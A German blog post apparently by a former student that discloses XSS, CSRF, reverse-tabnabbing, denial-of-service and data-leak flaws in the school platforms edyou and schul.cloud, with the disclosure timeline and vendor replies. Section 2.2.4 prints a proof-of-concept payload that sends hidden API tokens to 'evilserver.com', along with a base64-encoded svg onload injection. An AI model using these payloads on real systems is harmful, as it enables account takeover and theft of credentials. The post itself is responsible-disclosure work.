Sicherheitslücken in edyou und schul.cloud
Auch wenn ich inzwischen mein Abitur habe und somit kein Schüler mehr bin, habe ich in den letzten zwei Jahren, in denen meine Schule Produkte der Heinekingmedia GmbH bzw. Stashcat GmbH aus Hannover genutzt hat, mehrere Sicherheitslücken gemeldet.
In diesem Frühjahr wurden mir schwerwiegende Sicherheitslücken bekannt, die einen Vollzugriff auf beliebige Accounts der eigenen Schule ermöglicht hätten. Von diesen und den in den vorigen Jahren gemeldeten Sicherheitslücken möchte ich in diesem Beitrag berichten.
Inhaltsverzeichnis
0 Vorwort
Ich habe versucht, in diesem Beitrag einen Mittelweg zwischen technischen Informationen und Verständlichkeit für Laien zu wählen. Sicher ist mir das nicht überall gelungen. Auf Fragen antworte ich, falls die Zeit besteht, gerne per E-Mail (siehe Impressum) oder per Twitter.
Insbesondere für Laien habe ich deshalb jeder Sicherheitslücke ein TL;DR (too long; didn't read) angehängt, das jeweils die Folgen der Sicherheitslücke sowie die notwendigen Handlungen einer Nutzer*in darlegt.
Alle Links in diesem Beitrag dienen zur weiteren Information und verweisen auf externe Webseiten, die ich zum Zeitpunkt des Schreibens dieses Artikels für gute Erklärungen gehalten habe. Das kann sich natürlich in Zukunft ändern. Insofern bin ich auch hier über eine Rückmeldung per Mail jederzeit dankbar.
Alle in diesem Post veröffentlichten Sicherheitslücken stehen in keinem Zusammenhang mit meiner ehemaligen Schule, Arbeitgebern oder Universitäten. Sie sind in meiner Freizeit aus Interesse entdeckt worden.
1 Die Produkte edyou und schul.cloud
Sowohl edyou als auch schul.cloud werden bzw. wurden als DSGVO-konforme und datenschutzfreundliche Komplettlösungen für das e-Learning beworben und angeboten. In der Vergangenheit hat es bei der Heinekingmedia mehrere Namensänderungen der eigenen Produkte gegeben, sodass ich an dieser Stelle noch einmal klarstellen möchte, von welchen Produkten jeweils die Rede ist.
1.1 Edyou.eu
Edyou (zwischenzeitlich als schul.cloud pro vertrieben) ist ein vollständiges Lern-Management-System mit Kursansichten, Kalender, Gruppen und Echtzeit-Dokumentenbearbeitung via Etherpad. Außerdem verfügt edyou über eine Integration in den hauseigenen Stashcat-Messenger, welche in diesem Beitrag noch sehr wichtig wird. Edyou steht unter edyou.eu zur Verfügung.
Aktuell wird edyou nicht mehr an Neukunden vertrieben, jedoch sind noch immer Instanzen aktiv. An meiner alten Schule soll diese beispielsweise auch noch bis Mai 2021 weiterbetrieben werden.
Alle Sicherheitslücken, die ich gefunden habe, habe ich ausschließlich auf einer Testinstanz ausführlich getestet, sodass ich mir zu keinem Zeitpunkt Zugriff auf fremde Nutzer*innendaten verschafft habe, auch wenn dies möglich gewesen wäre.
Die zugehörige edyou-Android-App (ich habe nur diese betrachtet, iOS ist vermutlich identisch) ist eine reine Implementierung des Stashcat-Messengers, sodass hier auch alle weiteren Funktionen von Edyou außer Chat und Dateiablage nicht implementiert sind und somit immer auf die Webapplikation zurückgegriffen werden muss.
1.2 schul.cloud bzw. schul.cloud pro
Bei den Produkten schul.cloud bzw. schul.cloud pro handelt es sich um gebrandete Instanzen des hauseigenen Krypto-Messengers Stashcat. Dieser wird unter anderem laut Homepage auch als Polizeimessenger in Niedersachsen sowie als parteiinterner Messenger der CDU Niedersachsen verwendet.
Die Kryptographie basiert auf RSA, wobei die Private-Keys verschlüsselt auf den Servern des Betreibers gespeichert werden. Hier gab es in der Vergangenheit bereits gravierende Architekturfehler, siehe hierzu die Recherche der CIPHRON GmbH aus dem Jahr 2017. Diese erlaubten dem Anbieter Stashcat trotz "Ende-zu-Ende-Verschlüsselung", theoretisch alle Nachrichten zu entschlüsseln. Inzwischen bestehen diese groben Architekturfehler nicht mehr.
2 Sicherheits- und Datenschutzprobleme
In beiden genannten Produkten der Heinekingmedia bzw. von Stashcat habe ich Datenschutz- und Sicherheitsprobleme gefunden, die ich im Rahmen eines Responsible-Disclosure-Verfahrens am 19. Mai 2020 an das Betreiberunternehmen gemeldet habe (siehe hierzu weiter unten "3 Ablauf der Meldung"). Diese werde ich hier im Folgenden darlegen.
2.1 Ausgabe persönlicher Daten über die API von schul.cloud und Edyou
TL;DR: Edyou und schul.cloud liefern über ihre API private E-Mail-Adressen, letzte Login-Zeit sowie die aktuelle Speicherauslastung innerhalb des Accounts
Da sowohl edyou als auch schul.cloud auf Stashcat basieren, ist dieses Datenschutzproblem in beiden Produkten enthalten.
Bereits Ende 2018 war mir aufgefallen, dass es mithilfe der Devtools des Browsers möglich war, E-Mail-Adressen sowie letzte Login-Zeiten anderer Nutzer auszulesen. Dieses Problem habe ich damals über unsere Projektbetreuerin an der Schule gemeldet. Danach wurden die entsprechenden Felder aus den API-Antworten an die Webapplikation entfernt.
Bei erneuter Betrachtung der Nachfolgesoftware schul.cloud ist mir jedoch aufgefallen, dass das identische ursprüngliche Verhalten noch immer in der API vorhanden ist und somit noch immer E-Mail-Adressen von Schüler*innen und Lehrer*innen für jeden verfügbar sind.
Offenbar war meine Meldung im Jahr 2018 lediglich durch eine Veränderung im Frontend der edyou-Webanwendung "behoben" worden. Aufgrund dieser Vermutung habe ich nachfolgend auch die Datenübertragungen der Android-App von edyou sowie schul.cloud betrachtet und dabei festgestellt, dass die API noch deutlich mehr Daten an die mobilen Apps ausliefert. Dazu gehören:
- private E-Mail-Adressen der Nutzer*innen
- verfügbarer und genutzter Speicherplatz des Accounts
- letzter Login-Zeitpunkt
- Jahrgangsstufe und Klasse
Alle diese Informationen sind (meines Wissens nach) für normale Nutzer*innen an keiner Stelle in der App sichtbar und sollten somit auch nicht in der API einsehbar sein.
Von meiner Projektbetreuerin wurde mir mitgeteilt, dass an meiner Schule zukünftig schulinterne E-Mail-Adressen zum Login verwendet werden sollen, sodass zumindest diese Information kein Datenschutzproblem mehr darstelle.
Trotzdem erlauben die restlichen einsehbaren Metadaten eine recht umfangreiche Überwachung der Nutzer*innen. Auch ist mir nicht bekannt, ob dieses Problem auch in anderen Instanzen des Stashcat-Messengers existierte, es ist jedoch davon auszugehen.
2.2 XSS-Angriff auf edyou.eu und daraus folgender Vollzugriff auf beliebige Accounts
TL;DR: Nutzer*innen können durch präparierte Kursbeiträge Zugriff auf Authentifizierungsdaten erhalten, die einen Vollzugriff auf Chatnachrichten und Dateien anderer Accounts erlauben
Edyou ist eine PHP-Webanwendung. Nutzer*innen können dabei in Kursen je nach Datenschutzeinstellung Beiträge erstellen. Hierfür wird ein WYSIWYG-Editor verwendet, der HTML-Code erzeugt. Dieser Editor verhindert grundsätzlich das händische Bearbeiten des erzeugten HTML-Codes. Trotzdem ist es technisch versierten Nutzer*innen aber entweder durch das Deaktivieren von JavaScript oder durch einen direkten Zugriff auf die API möglich, beliebigen HTML-Code in Beiträge einzufügen.
Wird dieser erstellte HTML-Code nicht gefiltert, ergibt sich das Problem von Cross-Site-Scripting (XSS). Dabei wird fremder JavaScript-Programmcode auf einer Webseite ausgeführt. Der Programmcode hat dabei grundsätzlich Vollzugriff auf die gesamte angezeigte Internetseite.
2.2.1 Ursprüngliche Meldung im Juni 2019
Das grundlegende Problem war mir bereits im Juni 2019 aufgefallen, als ich das Problem mit folgenden Screenshots und Proof-of-Concept-Code gemeldet habe:
Als Programmcode habe ich damals die einfachste Form einer Cross-Site-Scripting-Attacke beigefügt:
<script>alert("Test")</script>
2.2.2 Unsaubere Behebung des Problems und Wiederentdeckung im Mai 2020
Nach der Meldung 2019 wurde das Problem offenbar relativ schnell behoben und mein Proof-of-Concept-Programmcode war nicht mehr funktionsfähig.
Nach den schriftlichen Abiturprüfungen hatte ich wieder etwas mehr Zeit und habe aus Interesse erneut die Möglichkeit von XSS-Attacken bei edyou untersucht. Dabei musste ich feststellen, dass das Filtern von JavaScript-Code offenbar mehr als schlecht implementiert wurde. Es wurden lediglich <script></script> Tags aus dem HTML-Code gefiltert.
Neben meinem einfachen Beispiel gibt es jedoch unzählige Möglichkeiten, JavaScript-Code auch außerhalb von script-Tags auszuführen. Gegen jegliche derartige Angriffe bestand noch immer kein Schutz.
2.2.3 Volle Kontrolle durch Ausnutzen der XSS-Lücke
Eine derartige XSS-Lücke ist immer problematisch, weil im Zweifelsfall der gesamte Webseiteninhalt an einen Angreifer weitergeleitet werden kann oder ein Angreifer die Möglichkeit hat, die Webseitendarstellung beliebig zu manipulieren. Es hat also in jedem Fall Handlungsbedarf seitens edyou bestanden.
Dennoch habe ich aus Interesse weiter untersucht, welche Daten mit einem derartigen Angriff erlangt werden können.
Dabei bin ich im HTML-Quellcode der Webseite auf zwei sehr interessante Zeilen gestoßen:
<div id="device_id" style="display:none;">Browser5xxxxxx57</div>
<div id="client_key" style="display:none;">ca8xxxxxxxxxxxxxx8q</div>
Hierbei handelt es sich um die Zugangsdaten für die API des Stashcat Messengers. Kann ein Angreifer diese erlangen, so ist es ihm möglich, auf beliebige Chatnachrichten sowie Dateien eines Nutzers zuzugreifen.
Ein Angreifer muss also nur JavaScript-Code schreiben, der diese Zugangsdaten an seinen Server überträgt. Ein Beispiel für solchen Code findet sich im übernächsten Kapitel.
2.2.4 Angriffsmöglichkeiten
Um die tatsächliche Gefahr abschätzen zu können, muss der Verbreitungsweg des präparierten Kursbeitrags betrachtet werden. Grundsätzlich besitzt edyou die Möglichkeit, Schüler*innen grundsätzlich das Erstellen von Beiträgen zu verbieten.
Ist das Erstellen jedoch erlaubt, hat jede Schüler*in die Möglichkeit Vollzugriff auf ihre Mitschüler*innen und die Lehrer*in in dem entsprechenden Kurs zu erlangen.
Die betroffenen User*innen haben dabei keinerlei Möglichkeit, sich gegen diesen Angriff zu wehren, da die Kursbeiträge direkt nach dem Anmelden auf dem Dashboard angezeigt werden. Auch der JavaScript-Code wurde sofort ausgeführt.
Je nach genauer Struktur der Schule und ihren Kursen und Gruppen können bereits durch eine Nachricht sehr viele Nutzer*innen betroffen sein.
Im Zweifelsfall ließe sich aber auch durch geschicktes Programmieren eine Art "Virus" erstellen, der sich selbst weiterverbreitet und so über Gruppen- und Kursgrenzen hinweg Accounts übernimmt.
2.2.4 Für Experten: Die Beschreibung des Proof-of-Concept, das ich an das edyou-Team gesendet habe
Da die Authentication-Tokens für den Stashcat-Messenger als HTML-Tags in jeder Seite mitgeliefert werden, kann ich sie mithilfe des JS-Codes
document.getElementById(`client_key`).innerHTML
bzw.
document.getElementById(`device_id`).innerHTML
extrahieren.
Mithilfe des folgenden Codes kann ich die entsprechenden Daten über ein von einem Fremdserver geladenes Bild an einen Angreifer weiterleiten:
function send(url) {
var image = document.createElement("img");
image.src = url;
document.body.appendChild(image);
}
send("http://evilserver.com/" +
document.getElementById("client_key").innerHTML +
"/" +
document.getElementById("device_id").innerHTML
);
Um nun das Einbinden in die XSS-Attacke zu vereinfachen, mache ich aus dem Code einen String, den ich wiederum mit base64 codiere. So fallen alle Sonderzeichen weg, die sonst durch Zeichencodierung verloren gehen könnten.
Ich erhalte dann beispielsweise folgenden Base64-Code:
ZnVuY3Rpb24gZm9vKHVybCkge3ZhciBpZnJhbWUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTsgaWZyYW1lLnNyYyA9IHVybDsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpZnJhbWUpO307IGZvbygiaHR0cDovL2xvY2FsaG9zdDo4MDgwLyIgKyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2xpZW50X2tleSIpLmlubmVySFRNTCArICIvIiArIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkZXZpY2VfaWQiKS5pbm5lckhUTUwpOw
Diesen kann ich nun in eine XSS-Attacke vom Anfang einbauen:
BeispielText
<svg onload="eval(atob('ZnVuY3Rpb24gZm ... khUTUwpOw'))">
Ich erhalte auf diesem Weg auf meinem Server einen Request nach einem Bild im Format
http://evilserver.com/ca8PoWqVQjNxtdvuY****************q/Browser58177b****
der nun vollständige Zugangsdaten für Stashcat beinhaltet.
2.3 Grundsätzliche Möglichkeit von CSRF-Attacken bei edyou
TL;DR: Durch das Besuchen einer präparierten Webseite können beliebige Operationen einer eingeloggten Nutzer*in bei edyou hervorgerufen werden.
Allgemein besteht bei Edyou das Problem fehlenden CSRF-Schutzes. Eine Cross-Site-Request-Forgery bezeichnet das "Fälschen" von Anfragen an den edyou-Server. Es kann so von einer anderen besuchten Webseite eine Veränderung am Konto einer Nutzer*in vorgenommen werden. Einige Beispiele dafür wären:
- das Erstellen eines beliebigen Beitrags oder einer beliebig benannten Gruppe
- das ungewollte Schreiben einer Direktnachricht an beliebige Nutzer*innen mit beliebigem Inhalt
- das Löschen von Gruppen, Beiträgen oder Dateien
- das Bearbeiten von Berechtigungen anderer Nutzer*innen, wenn die angegriffene Nutzer*in entsprechende Rechte besitzt
Für einen derartigen Angriff reicht es aus, wenn eine Nutzer*in auf einen Link klickt, der auf eine präparierte Internetseite führt.
2.4 Reverse-Tabnabbing und Phishing-Möglichkeit bei schul.cloud
TL;DR: Durch das Klicken auf einen Link in einer Chatnachricht kann ein sehr schwer erkennbarer Phishing-Angriff erfolgen
Klickt eine Nutzer*in auf einen ihr zugesandten Link in einer Nachricht, so wird dieser in einem neuen Tab geöffnet. Dabei ist es so, dass die Webseite die geöffnet wird, einen gewissen Zugriff auf das zuvor geöffnete schul.cloud hat.
Unter Anderem kann durch die geöffnete Webseite die Adresse des Tabs in dem schul.cloud geöffnet ist, ändern. Somit ist es einer fremden Webseite möglich, eine Phishing-Webseite im schul.cloud-Tab zu öffnen. Diese Phishing-Webseite ist dabei besonders gefährlich. Für Nutzer*innen gibt es keinen Grund, besonders aufmerksam zu sein, weil in dem Tab ja gerade noch schul.cloud geöffnet war und sie keine neue Webseite darin geöffnet haben.
Diese Sicherheitslücke ist unter dem Namen Reverse Tabnabbing bekannt und kann relativ leicht behoben werden.
Statt einem üblichen Link
<a href="https://aaronschlitt.de" target="_blank">Klick mich!</a>
sollte ein Link folgendermaßen modifiziert werden:
<a href="https://aaronschlitt.de" target="_blank" rel="noopener noreferrer">Klick mich!</a>
2.5 Erweitertes Reverse-Tabnabbing mit XSS als Folge bei edyou
TL;DR: Durch Klicken auf einen Link in einer Chatnachricht kann ein Angreifer Vollzugriff auf Accounts erlangen.
Auch bei Edyou war aufgrund der identischen Messenger-Integration Reverse-Tabnabbing möglich. Allerdings kam hier erschwerend hinzu, dass Nutzerdateien für die Dateiablage direkt über die Domain edyou.eu bereitgestellt werden. Aufgrund der gleichen Domain kommt diesen Dateien seitens des Browsers ein größeres Vertrauen zu. Somit dürfen diese statt "nur" die Adresse des ursprünglichen Tabs zu ändern, in diesem auch JavaScript-Code ausführen.
Nutzer*innen konnten in edyou HTML-Dateien hochladen und Links dazu erhalten, die sie an andere Nutzer*innen verschicken konnten. Diese HTML-Dateien konnten JavaScript-Code erhalten.
Es besteht also wieder ein Angriffsvektor für eine XSS-Attacke mit Möglichkeit zum Vollzugriff auf alle Accounts einer Schule.
2.6 Denial-of-Service-Attacke durch Chatnachricht bei Edyou (2019)
TL;DR: Allein das Empfangen einer präparierten Nachricht kann eine Nutzer*in von edyou von der Webseite abmelden und die Nutzung längerfristig verhindern oder stark einschränken.
Im Jahr 2019 war es möglich, Nutzer*innen durch das Versenden einer Chatnachricht mit dem Inhalt
<img src="logout">
auszuloggen. Da diese Nachricht nicht gelöscht werden kann, wurde die Nutzer*in außerdem bei jedem Betrachten ihrer Chatnachrichten in der Webseite wieder ausgeloggt, was eine Nutzung von edyou praktisch unmöglich machte.
3 Zeitlicher Ablauf und Kommunikation mit Heinekingmedia bzw. Stashcat
Für mich begann die Untersuchung von edyou mit der Einführung an unserer Schule im Jahr 2017. Zu diesem Zeitpunkt habe ich das erkannte Datenschutzproblem aus dem Dezember 2018 über unsere Projektbetreuerin an der Schule melden lassen, woraufhin das Problem behoben wurde.
Ähnlich lief es im Sommer 2019, als ich eine deutlich technischere Einordnung der XSS- und Denial-of-Service-Attacken über meine Projektbetreuerin melden ließ.
Da ich im Frühjahr 2020 mein Abitur abgelegt habe und somit nur noch wenig Bezug zu meiner Schule hatte, habe ich mich dazu entschieden, die neu erkannten Sicherheitslücken direkt per E-Mail an stashcat und Heinekingmedia zu senden. Den Ablauf dieser Kommunikation möchte ich im Folgenden schildern:
Dienstag, 19. Mai 2020
Erkenntnisse über Punkte 2.2 und 2.3 als ausführliches PDF per E-Mail an info@ bzw. support@ von edyou.eu gesendet.
Eine Möglichkeit, spezifisch Sicherheitslücken zu melden, gab es nicht. Ich musste mich also an den allgemeinen Support wenden.
Auf diese E-Mail erhielt ich sofort eine automatisierte Antwort mit einer Ticketnummer für das Support-System
Mittwoch, 27. Mai 2020 - 8 Tage nach erster Meldung
Mangels Rückmeldung von edyou habe ich zwischenzeitlich doch meine Projektbetreuerin an der Schule mit der Ticketnummer kontaktiert.
Nun habe ich eine E-Mail vom Support erhalten, dass meine Projektbetreuerin auf die Probleme hingewiesen habe. Man wolle nun die Meldung beurteilen und das Ergebnis "über den Projektweg" mitteilen.
Freitag, 5. Juni 2020 - 17 Tage nach erster Meldung
Immer noch mangels inhaltlicher Rückmeldung bitte ich darum, mir die Ergebnisse persönlich mitzuteilen, da ich diese gemeldet habe und nun nicht mehr Schüler meiner Schule bin.
Außerdem frage ich nach der Einschätzung des Datenschutzbeauftragten. Kann sichergestellt werden, dass derartige Sicherheitslücken in der Vergangenheit nicht ausgenutzt wurden und wurden Nutzer*innen über die Lücken informiert?
Donnerstag, 11. Juni 2020 - 23 Tage nach erster Meldung
Antwort von einem Entwickler. Man bedankt sich für die ausführliche Meldung und habe eine Bewertung vorgenommen, über die man gerne telefonisch sprechen würde.
Ich biete ein Telefonat am nächsten Tag an. Außerdem weise ich daraufhin, dass ich die weiteren Probleme 2.5 und 2.6 gerne ansprechen möchte.
Freitag, 12. Juni - 24 Tage nach erster Meldung
Telefonat mit Entwickler und Geschäftsführer der Stashcat GmbH.
Ich bitte neben dem Gespräch über technische Details und die weiteren Lücken darum, einen anderen Kontakt für Sicherheitslücken zu schaffen. Ich verweise darauf, dass seit meiner Erstmeldung einer gravierenden Sicherheitslücke bereits mehr als drei Wochen vergangen sind, bis ich eine erste fachliche Rückmeldung bekommen habe.
Ich werde darum gebeten, Lücken 2.5 und 2.6 noch einmal per E-Mail einzureichen, was ich noch an diesem Nachmittag mache.
Weitere Kommunikation
In den folgenden Wochen habe ich vom Entwickler der Stashcat GmbH jeweils Rückmeldungen und Einschätzungen der Lücken per E-Mail erhalten.
Die Rückmeldung zu meinen ursprünglich gemeldeten Sicherheitslücken und dem Datenschutzproblem erfolgte schlussendlich am Donnerstag den 25. Juni 2020 und damit 37 Tage nach der ersten Meldung.
4 Einschätzung der Entwickler
In diesem Kapitel zitiere ich die Einschätzungen von stashcat aus den mir zugesendeten E-Mails.
2.1 Persönliche Daten in der API von Android- und Web-App
Das Verhalten wurde von uns angepasst, sodass diese die E-Mail-Adressen der Absender nicht mehr ausgegeben werden. Die Übertragung der anderen Daten sehen wir als nicht-personenbezogene Daten nicht als kritisch, weshalb hier keine weitere Einschränkung vorgenommen wurde.
Wie bereits telefonisch angekündigt, ist ein Großteil der ursprünglichen Nutzer von EDYOU bereits auf das stashcat-System umgezogen. Das EDYOU-System wird aufgrund seiner veralteten Struktur nach Ablauf der verbleibenden Vertragslaufzeiten (bzw. nach vollständigem Umzug allen verbleibenden Nutzer schon davor) unmittelbar abgeschaltet.
2.2 XSS bei edyou
Das von Ihnen beobachtete Verhalten sehen wir als berechtigt an, weshalb es von uns angepasst wurde. Es wurde eine andere Library implementiert, die die Eingabe von ausführbarem Javascript an den von Ihnen genannten Stellen bei der Beitragserstellung verhindert.
Im System können wir belastbar feststellen, dass diese Lücke von keinem Nutzer außer von Ihnen im Rahmen der Dokumentation auf der Testorganisation verwendet oder ausgenutzt wurde. Daher erachten wir eine generelle Benachrichtigung der EDYOU-Nutzer nicht für notwendig.
2.3 CSRF-Angriffe
Im Rahmen der Vorbereitung dieses Artikels habe ich erneut Kontakt zur Stashcat GmbH aufgenommen und darauf hingewiesen, dass ich noch keinerlei Rückmeldung zur Möglichkeit von CSRF-Angriffen erhalten habe.
Man sehe den Hauptangriffsvektor durch das Beheben der XSS-Attacke als erledigt an und wolle deshalb hinsichtlich CSRF-Attacken keine weiteren Anpassungen vornehmen.
2.4 und 2.5 Reverse Tabnabbing und potentielles XSS bei edyou und schul.cloud
Grundsätzlich und nach Rücksprache mit unserem Datenschutzbeauftragten sehen wir die gemeldeten Punkte nicht als kritisch an, halten sie aber dennoch ebenso wie Sie für optimierungsbedürftig. Um dieses Verhalten zu unterbinden, wurden unmittelbar Anpassungen an den Produkten stashcat/schul.cloud und EDYOU vorgenommen:
So wurde nun implementiert, dass bei den Links innerhalb der Produkte mitgegeben wird, dass eine entsprechende Weiterleitung des Ursprungs-Tabs nicht erlaubt ist.
In stashcat/schul.cloud wurde die Änderung im Laufe des 13.06.2020 bereits in den aktuell ausgerollten Web-Clients der Version 3.9.2 produktiv geschaltet. Zudem wurde die Änderung in das Update 3.10 implementiert, das im Laufe des 15.06.2020 ausgerollt wird.
In EDYOU wurde die Änderung ebenfalls im Laufe des 13.06.2020 bereits produktiv geschaltet. Zusätzlich wurde eingebaut, dass html-Dateien nicht mehr geöffnet, sondern nur noch heruntergeladen werden können. Die Möglichkeit zur Durchführung einer XSS-Attacke wie in der Meldung beschrieben ist damit nicht mehr möglich.
Meldeprozess für Sicherheitslücken
Für eine schnellere und unmittelbarere Kommunikation bei der Übermittlung von Sicherheitsmeldungen wurde ein neues Postfach eingerichtet, das zukünftig für die Bearbeitung solcher Meldungen verwendet wird. Wenn Sie weitere Dinge feststellen, senden Sie eine Beschreibung dieser also gerne auch direkt an security@stashcat.com.
5 Fazit
Der schlussendliche Behebungszeitraum seitens der Stashcat GmbH war insgesamt mit einem Monat bzw. nur wenigen Tagen nach dem Melden weiterer Sicherheitslücken relativ schnell. Auch die E-Mails und Telefonate mit den Mitarbeitern waren immer freundlich.
Trotzdem muss ich kritisieren, dass von meiner ursprünglichen Meldung einer gravierenden Sicherheitslücke über drei Wochen vergangen sind, bevor ich eine fachliche Einschätzung seitens des Unternehmens erhalten habe.
Insbesondere das Produkt edyou, das nun eingestellt werden soll, zeigt meiner Meinung nach wenig Sicherheits- oder Datenschutzorientierung. Es bestanden grundlegendste Fehler hinsichtlich der Vermeidung von typischen Angriffsvektoren. Auch waren Schnittstellen wie die API zu Anfang nicht datensparsam ausgelegt.
In meiner Oberstufenzeit ist mir aufgefallen, dass zumindest aus Nutzer*innensicht kaum Veränderungen oder neue Funktionen in edyou implementiert wurden. Offenbar verfolgt man hier das Ziel, das in die Jahre gekommene Lernmanagementsystem edyou mit schul.cloud durch einen Messenger zu ersetzen.
Disclaimer:
Ich habe im letzten Jahr für die HPI Schul-Cloud gearbeitet. Außerdem studiere ich aktuell am Hasso Plattner Institut, das für die Entwicklung der HPI Schul-Cloud verantwortlich ist. Trotzdem steht diese Veröffentlichung in keinem Zusammenhang mit meiner Tätigkeit dort.
Dieser Artikel wurde (abgesehen vom Fazit) vor der Veröffentlichung den Verantwortlichen bei der Stashcat GmbH bereitgestellt und für eine Veröffentlichung freigegeben. Eine Veränderung des Inhalts ist im Rahmen dieses Prozesses nicht erfolgt.
